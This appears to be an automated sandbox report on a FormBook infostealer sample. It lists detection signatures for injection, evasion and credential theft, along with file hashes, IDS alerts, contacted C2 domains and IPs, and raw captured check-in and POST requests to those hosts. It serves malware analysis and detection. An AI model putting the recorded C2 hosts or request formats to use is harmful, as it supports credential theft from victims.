Windows Analysis Report
lByv6mqTCJ.exe

Overview

General Information

Sample name: lByv6mqTCJ.exe
renamed because original name is a hash value
Original sample name: cc3dc16efe58123d394b8e068b5a8410a971d156ff4de13795a31e257cd83e15.exe
Analysis ID: 1530780
MD5: 031c70730800588a7b8228f4ab79595e
SHA1: 34f6426df964d75f6c148b0bfc572c33bd2cd798
SHA256: cc3dc16efe58123d394b8e068b5a8410a971d156ff4de13795a31e257cd83e15
Tags: exeuser-adrian__luca
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file does not import any functions
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: lByv6mqTCJ.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: lByv6mqTCJ.exe ReversingLabs: Detection: 76%
Yara detected FormBook
Source: Yara match File source: 0.2.lByv6mqTCJ.exe.410000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3876568128.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2131471529.0000000000411000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3876436404.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2132420078.0000000001750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3875595230.0000000000620000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.3876687207.0000000005530000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2134057488.0000000004430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: lByv6mqTCJ.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: lByv6mqTCJ.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: lByv6mqTCJ.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: grpconv.pdb source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000002.3876120909.000000000116E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: grpconv.pdbGCTL source: lByv6mqTCJ.exe, 00000000.00000003.2097880175.000000000139D000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2131424199.00000000013A6000.00000004.00000020.00020000.00000000.sdmp, ooaSzUjoYqoTW.exe, 00000002.00000002.3876120909.000000000116E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: ooaSzUjoYqoTW.exe, 00000002.00000002.3875597421.00000000004CE000.00000002.00000001.01000000.00000004.sdmp, ooaSzUjoYqoTW.exe, 00000005.00000000.2199021776.00000000004CE000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: wntdll.pdbUGP source: lByv6mqTCJ.exe, 00000000.00000002.2132478501.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2026593857.000000000148C000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2028568483.0000000001631000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000002.2132478501.000000000197E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2135035508.00000000043E4000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.0000000004590000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.000000000472E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2131632668.0000000004233000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: lByv6mqTCJ.exe, lByv6mqTCJ.exe, 00000000.00000002.2132478501.00000000017E0000.00000040.00001000.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2026593857.000000000148C000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000003.2028568483.0000000001631000.00000004.00000020.00020000.00000000.sdmp, lByv6mqTCJ.exe, 00000000.00000002.2132478501.000000000197E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, grpconv.exe, 00000003.00000003.2135035508.00000000043E4000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.0000000004590000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000002.3876792528.000000000472E000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000003.00000003.2131632668.0000000004233000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 3_2_0063C1E0 FindFirstFileW,FindNextFileW,FindClose, 3_2_0063C1E0
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 4x nop then xor eax, eax 3_2_006299E0
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 4x nop then pop edi 3_2_0062DDAD
Source: C:\Windows\SysWOW64\grpconv.exe Code function: 4x nop then mov ebx, 00000004h 3_2_044204DE

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49770 -> 206.119.82.147:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49914 -> 162.0.238.246:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49996 -> 45.194.36.12:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49992 -> 195.161.68.8:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49988 -> 13.248.169.48:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49983 -> 183.181.83.131:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50000 -> 3.33.130.190:80
Source: Network traffic Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50004 -> 85.159.66.93:80
Performs DNS queries to domains with low reputation
Source: DNS query: www.nakama2-sshl.xyz
Source: DNS query: www.085bet.xyz
Source: DNS query: www.mudanya-nakliyat.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 162.0.238.246 162.0.238.246
Source: Joe Sandbox View IP Address: 13.248.169.48 13.248.169.48
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: Africa-on-Cloud-ASZA Africa-on-Cloud-ASZA
Source: Joe Sandbox View ASN Name: COGENT-174US COGENT-174US
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /vy4k/?PJ9L=d32l86geEWYHZjxTvbwjbSU9LAKscW6mTUIXWgcYKnqJcO8pcs3M8TeLmvZmGSd++zsCnZUgxj5ZgSRZm5GNnST7Zdxi7nq5Mi/W1p3900gY77wjz5lHrGRPWDQkbfDtqg==&2z=PtRhXbM HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.wdeb18.topConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /umni/?2z=PtRhXbM&PJ9L=JmqTC62v8P7mi6uPhLDAp9iaIjXSB8PwqG0a5mqRptE5j7gES97YNZljt2Ht2eKQTLeZ3UNIpnjTdZAH1rWC29igZO3jlkfdeSpr3eIJWfELnBNobLhFHVBS/RUmS3PasQ== HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.jophy.lifeConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /bgpi/?PJ9L=YTBtpahDWzdXKpondkv4unjklxOnnU8zYfk5eJgvm8+FRFKzirlrJKz42G/aqidm6CRQYg/EPrqYrXSvoqI47MOsphbaLGnzH8fia9Q2y/K0qDU8XdfqR00415ssDP2dWw==&2z=PtRhXbM HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.nakama2-sshl.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /mwd0/?PJ9L=zsNMsRGwEFvVUID2nvwzyJklFTuhYiH3MBMxsvplKOF6Mot/KgyF89prR2KXiWv2/O5FSCYG4KxKtJQmoSRR8B5YKwFVkQBt4uWwdNPaISGNJHiwitW0fGlJLbvQSjZk/A==&2z=PtRhXbM HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.comedy.financeConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /ucuo/?PJ9L=F2idnr0OHvaqOr51MpBBHVyFl1qtLQKAl/KaTPRWCGeZjFeJnhqhzch+KjyhoQK5CvQXQgMRpx/N5s0yRowiXacxk2STcCVUR6hfHsh5g/iR2diS6k4PTHt/uTzg7spZGA==&2z=PtRhXbM HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.trapkitten.websiteConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /nn3h/?PJ9L=0X/3r3PU8xeQ+UpzBpepRVcIT4+X7S/8fyuzw9u5zzT5DQpczFdmzE38B+SQag3b+0hUKu1k9LV6hnarOtmdXHDrfjsm00b18tkifTWDLiTHQlouOXMCIVM1BtqJliAH1Q==&2z=PtRhXbM HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.085bet.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /cei6/?2z=PtRhXbM&PJ9L=wjh3rahD5O8YyXDPiPgI2jcIa9PhSWViTP6mKxO94t21NngHPpPWFw/W8Bs1fVklZglLQeYSd7bpiR31wlDzTqFVQD+LW583mR1Tetwe2kyAmXAyEFXhKtTdwvrG/oT0lA== HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.rjscorp.orgConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic HTTP traffic detected: GET /tkqd/?PJ9L=gK3QMDONvn1ERFi3le5iq9CigfqrIypj3GmKmlk3fya6bSQAZ6Mmquf2H7jJBtRUywZhV3/ctEceSqN2mfA4IjI7ZNYjXHB3esnYbISz5Gf8jiahD8UpXyLU85TiP8RgbQ==&2z=PtRhXbM HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.mudanya-nakliyat.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1
Source: global traffic DNS traffic detected: DNS query: www.kabaribukota.press
Source: global traffic DNS traffic detected: DNS query: www.wdeb18.top
Source: global traffic DNS traffic detected: DNS query: www.jophy.life
Source: global traffic DNS traffic detected: DNS query: www.nakama2-sshl.xyz
Source: global traffic DNS traffic detected: DNS query: www.comedy.finance
Source: global traffic DNS traffic detected: DNS query: www.trapkitten.website
Source: global traffic DNS traffic detected: DNS query: www.48vlu.shop
Source: global traffic DNS traffic detected: DNS query: www.085bet.xyz
Source: global traffic DNS traffic detected: DNS query: www.rjscorp.org
Source: global traffic DNS traffic detected: DNS query: www.pussy.coupons
Source: global traffic DNS traffic detected: DNS query: www.mudanya-nakliyat.xyz
Source: unknown HTTP traffic detected: POST /umni/ HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brHost: www.jophy.lifeContent-Length: 205Connection: closeCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedOrigin: http://www.jophy.lifeReferer: http://www.jophy.life/umni/User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:40.0) Gecko/20100101 Firefox/40.1Data Raw: 50 4a 39 4c 3d 45 6b 43 7a 42 50 4b 67 6a 2b 62 46 74 38 75 4d 6c 66 48 35 77 4b 7a 38 58 6a 72 66 42 4a 79 43 2b 78 45 6c 39 54 72 6f 38 66 4d 51 36 72 4e 2f 44 62 61 62 63 4b 55 72 71 79 76 59 30 39 6a 31 44 37 6d 33 31 58 67 79 72 48 4c 71 4e 4a 34 6a 6c 61 36 71 38 70 79 46 4a 50 54 38 73 54 33 6d 51 45 31 62 33 75 6f 42 52 66 55 4d 37 78 63 68 5a 38 74 4d 45 6b 38 76 6a 32 4e 64 62 32 61 74 75 44 4d 71 76 66 44 6f 55 43 72 6b 4d 4a 70 46 61 64 73 6d 62 6b 4f 6e 33 4a 33 2f 6a 2f 31 76 43 4d 54 37 77 74 55 58 58 31 54 37 62 6c 6a 45 77 4f 7a 74 2b 30 4d 6a 32 6d 49 67 46 77 6b 77 70 37 4b 48 74 78 51 3d Data Ascii: PJ9L=EkCzBPKgj+bFt8uMlfH5wKz8XjrfBJyC+xEl9Tro8fMQ6rN/DbabcKUrqyvY09j1D7m31XgyrHLqNJ4jla6q8pyFJPT8sT3mQE1b3uoBRfUM7xchZ8tMEk8vj2Ndb2atuDMqvfDoUCrkMJpFadsmbkOn3J3/j/1vCMT7wtUXX1T7bljEwOzt+0Mj2mIgFwkwp7KHtxQ=
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 10 Oct 2024 12:38:45 GMTContent-Type: text/htmlContent-Length: 138Connection: closeETag: "66aa3fcf-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 12:39:01 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 12:39:03 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 12:39:06 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Oct 2024 12:39:08 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 10 Oct 2024 12:39:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://nakama2-sshl.xyz/wp-json/>; rel="https://api.w.org/"Content-Encoding: brData Raw: 31 37 61 62 0d 0a 15 83 5e 00 e0 af f7 7b 97 df a3 2a 3e fe db 7d 17 34 43 d4 7a cd bc ad 11 31 c6 6c a8 62 81 80 c9 16 b1 5d b7 5a d2 91 d4 f7 b6 ba 45 77 6b 1e 7e 54 79 66 bc 5b c6 40 cc cb 4b 1c 6f 76 17 b2 6b 0c 04 b3 c4 ae 14 0b 24 7c fd 47 dc 6b f3 95 33 ff d3 a9 0f 12 55 47 95 9e 1a 24 8a 14 94 e9 51 9f 96 6a 66 77 8b 77 be 2b de 9d 53 f8 57 38 c6 c5 27 29 9e 1d 17 8e cd ec cc be 7d f7 f1 d9 56 12 1b d9 12 38 32 89 3e 14 e4 92 10 fd 94 4b 73 e7 58 22 bf c2 4e 28 4e 54 4e a8 28 51 ef 24 26 72 22 45 28 91 85 10 15 12 25 08 24 8a ea 12 84 04 1d 25 65 28 3a 8a ae 64 19 e6 b2 ae 3d 9f 4d dd cd 42 f2 93 a6 0c fc 2d 13 9d 78 ee e5 d3 67 df 78 e5 0c 2a 4d c5 63 2b 3a 41 c8 39 96 23 6e d0 0b 67 d0 f8 42 6c 45 a5 a9 38 4a 39 d5 7a 8e 19 8c 30 e2 54 14 73 7c 40 71 8c a2 13 e7 40 64 2c bf 40 48 6c 45 27 08 39 c7 72 f4 c2 19 34 be 10 5b c0 e5 8f d7 d7 9f bc 41 c8 15 e6 23 8c 4e a0 04 1c 06 50 73 71 5e 1c 5b 9d e8 04 21 e4 7f 2c 3a 51 09 34 43 b5 82 9c ad e6 58 16 33 54 1a 53 cf 3c 4f 16 b5 5b 81 27 f4 1e ca 93 92 fb e6 e5 c9 1e a2 ca b0 94 43 0d 55 fa 9d ec e1 d8 ea 74 a2 0a 0c 45 69 49 95 06 33 c7 af 9f 7d 9e 4c 30 7a 59 25 41 2b 98 e3 05 83 65 2d 95 c1 28 95 c2 80 30 73 bc 64 99 29 e7 19 2c 58 0a 64 c7 72 1d 26 98 61 94 13 9d 52 0e f3 c0 f5 9d 46 83 7a 1b 43 13 0e 73 21 1d 64 f7 92 e4 cc cc 53 b9 00 85 e9 6d 38 97 aa a2 86 64 60 20 35 4c 0a ba 75 0d 70 a8 4b 29 60 2e 24 a3 0b 58 9d 4e 07 45 45 25 13 69 34 e0 b5 84 64 22 83 95 93 4b ce e5 12 6f 5f dd 88 33 71 88 14 f0 39 a6 dc 80 12 d4 00 46 66 5d 